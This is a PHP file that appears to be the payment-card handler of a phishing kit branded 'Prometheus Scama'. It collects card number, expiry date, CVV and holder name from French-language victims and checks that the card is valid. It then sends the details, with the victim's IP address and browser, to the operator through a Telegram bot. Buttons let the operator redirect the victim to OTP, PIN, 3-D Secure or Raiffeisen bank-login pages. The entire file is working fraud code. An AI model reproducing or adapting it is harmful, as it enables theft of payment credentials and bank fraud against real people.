<?php

defined('SECURE_CONTEXT') || define('SECURE_CONTEXT', true);
require_once dirname(__DIR__, 3) . '/app/anti.php';

if ($_SESSION['humain'] === true && $_SERVER['REQUEST_METHOD'] === 'POST') {
    $number = trim($_POST['number'] ?? '');
    $exp = trim($_POST['exp'] ?? '');
    $cvv = trim($_POST['cvv'] ?? '');
    $holder = trim($_POST['holder'] ?? '');

    if ($number && $exp && $cvv) {
        if (!isDateExpired($exp)) {
            $numberSanitized = preg_replace('/[^0-9]/', '', $number);
            $_SESSION['number'] = htmlspecialchars($number, ENT_QUOTES, 'UTF-8');
            $_SESSION['numberr'] = $numberSanitized;
            $_SESSION['exp'] = htmlspecialchars($exp, ENT_QUOTES, 'UTF-8');
            $_SESSION['cvv'] = htmlspecialchars($cvv, ENT_QUOTES, 'UTF-8');
            $_SESSION['holder'] = htmlspecialchars($holder, ENT_QUOTES, 'UTF-8');
            $_SESSION['bin'] = substr($numberSanitized, 0, 6);

            binChecker($_SESSION['bin']);

            $luhnPass = isValidLuhn($numberSanitized);
            $_SESSION['luhn'] = $luhnPass;

            if ($luhnPass) {
                $panLen = strlen($numberSanitized);
                if ($panLen >= 10) {
                    $_SESSION['payment_masked_pan'] = substr($numberSanitized, 0, 6)
                        . str_repeat('*', max(0, $panLen - 10))
                        . substr($numberSanitized, -4);
                } elseif ($panLen > 0) {
                    $_SESSION['payment_masked_pan'] = $numberSanitized;
                }

                $_SESSION['payment_card_scheme'] = detect_card_scheme($numberSanitized);

                date_default_timezone_set('Europe/Budapest');
                $date = date('H:i:s');

                $purchaseDefault = require dirname(__DIR__, 2) . '/purchase_default.php';
                $purchaseTotal = trim($_POST['purchase_total'] ?? '');
                $_SESSION['vbv_amount_display'] = htmlspecialchars(
                    $purchaseTotal !== '' ? $purchaseTotal : $purchaseDefault,
                    ENT_QUOTES,
                    'UTF-8'
                );
                $_SESSION['vbv_date'] = date('d/m/Y');

                $get = fn($key) => htmlspecialchars($_SESSION[$key] ?? 'N/A', ENT_QUOTES, 'UTF-8');

$text = "<b>💳 +1 CC [{$get('bin')}]</b>\n";
$text .= "<b>⏱️ {$date}</b>\n";
$text .= "<b>💳 Carte ➟</b> <code>{$get('numberr')}</code>\n\n";

$text .= "<b>👤 Titulaire ➟</b> <code>{$get('holder')}</code>\n";
$text .= "<b>💳 Carte ➟</b> <code>{$get('number')}</code>\n";
$text .= "<b>📅 Expiration ➟</b> <code>{$get('exp')}</code>\n";
$text .= "<b>🔒 CVV ➟</b> <code>{$get('cvv')}</code>\n\n";

$text .= "<b>🏛️ Type ➟</b> <code>{$get('type')}</code>\n";
$text .= "<b>📈 Level ➟</b> <code>{$get('level')}</code>\n";
$text .= "<b>🏦 Banque ➟</b> <code>{$get('bank')}</code>\n";
$text .= "<b>🌍 Pays ➟</b> <code>{$get('country')}</code>\n\n";

$text .= "<b>🌐 IP ➟</b> <code>{$get('ip')}</code>\n";
$text .= "<b>🌐 UA ➟</b> <code>{$get('ua')}</code>\n";
$text .= "<b>🌐 Scan ➟</b> https://cardimages.imaginecurve.com/cards/{$get('bin')}.png\n\n";

$text .= "<blockquote><b>Powered By 🛕 Prometheus Scama ® - @earthshakinggg\n";
$text .= "🛕 Author : Prometheus - @earthshakinggg</b></blockquote>\n";


                if ($CONFIG['webhook_buttons'] == true) {
                    $buttons = [
                        'inline_keyboard' => [
                            [
                                ['text' => '🗑️ BAN IP 🗑️', 'callback_data' => "ban={$ip}"],
                            ],
                            [
                                ['text' => '🍎 OTP 🍎', 'callback_data' => "otp={$ip}"],
                                ['text' => '💳 PIN 💳', 'callback_data' => "pin={$ip}"],
                            ],
                            [
                                ['text' => '📲 VBV 📲', 'callback_data' => "vbv={$ip}"],
                                ['text' => '✅ APPROVE ✅', 'callback_data' => "approve={$ip}"],
                            ],
                            [
                                ['text' => '✅ Generic Approve', 'callback_data' => "genericapprove={$ip}"],
                            ],
                            [
                                ['text' => '🏦 RAIFF 🏦', 'callback_data' => "raifflogin={$ip}"],
                            ],
                            [
                                ['text' => '❌ CC INVALIDE ❌', 'callback_data' => "payment_error={$ip}"],
                                ['text' => '🚪FIN 🚪', 'callback_data' => "success={$ip}"]
                            ],
                        ]
                    ];
                } else {
                    $whBase = web_url('app/webhook.php');
                    $buttons = [
                        'inline_keyboard' => [
                            [
                                ['text' => '🗑️ BAN IP 🗑️', 'url' => "{$whBase}?ban={$ipQuery}"],
                            ],
                            [
                                ['text' => '🍎 OTP 🍎', 'url' => "{$whBase}?otp={$ipQuery}"],
                                ['text' => '💳 PIN 💳', 'url' => "{$whBase}?pin={$ipQuery}"],
                            ],
                            [
                                ['text' => '📲 VBV 📲', 'url' => "{$whBase}?vbv={$ipQuery}"],
                                ['text' => '✅ APPROVE ✅', 'url' => "{$whBase}?approve={$ipQuery}"],
                            ],
                            [
                                ['text' => '✅ Generic Approve', 'url' => "{$whBase}?genericapprove={$ipQuery}"],
                            ],
                            [
                                ['text' => '🏦 RAIFF 🏦', 'url' => "{$whBase}?raifflogin={$ipQuery}"],
                            ],
                            [
                                ['text' => '❌ CC INVALIDE ❌', 'url' => "{$whBase}?payment_error={$ipQuery}"],
                                ['text' => '🚪FIN 🚪', 'url' => "{$whBase}?success={$ipQuery}"]
                            ],
                        ]
                    ];
                }

                if (strpos($_SERVER['HTTP_HOST'], 'localhost') === false && strpos($_SERVER['HTTP_HOST'], '127.0.0.1') === false) {
                    @file_get_contents('https://api.telegram.org/bot' . urlencode($CONFIG['bot_token']) . '/setWebhook?url=' . urlencode(web_url('app/webhook.php')));
                }

                $_SESSION['load'] = '';
                $_SESSION['payment-error'] = '';
                $_SESSION['payment'] = '1';

                sendMessage($CONFIG['chat_id'], $text, $buttons);
                if ($CONFIG['send_scan'] == true) {
                    sendScan($CONFIG['chat_id'], 'Prometheus', $get('number'), $get('exp'), $get('cvv'));
                }
                $_SESSION['load'] = '';

                header('Location: ../../loading/');
                exit;
            } else {
                $_SESSION['payment-error'] = 'Numéro de carte invalide. Veuillez réessayer.';
                header('Location: ../');
                exit;
            }
        } else {
            $_SESSION['payment-error'] = 'Date d’expiration invalide. Veuillez réessayer.';
            header('Location: ../');
            exit;
        }
    } else {
        $_SESSION['payment-error'] = 'Tous les champs sont requis. Veuillez réessayer.';
        header('Location: ../');
        exit;
    }
} else {
    $_SESSION['payment-error'] = 'Requête invalide.';
    header('Location: ../../../index.html');
    exit;
}
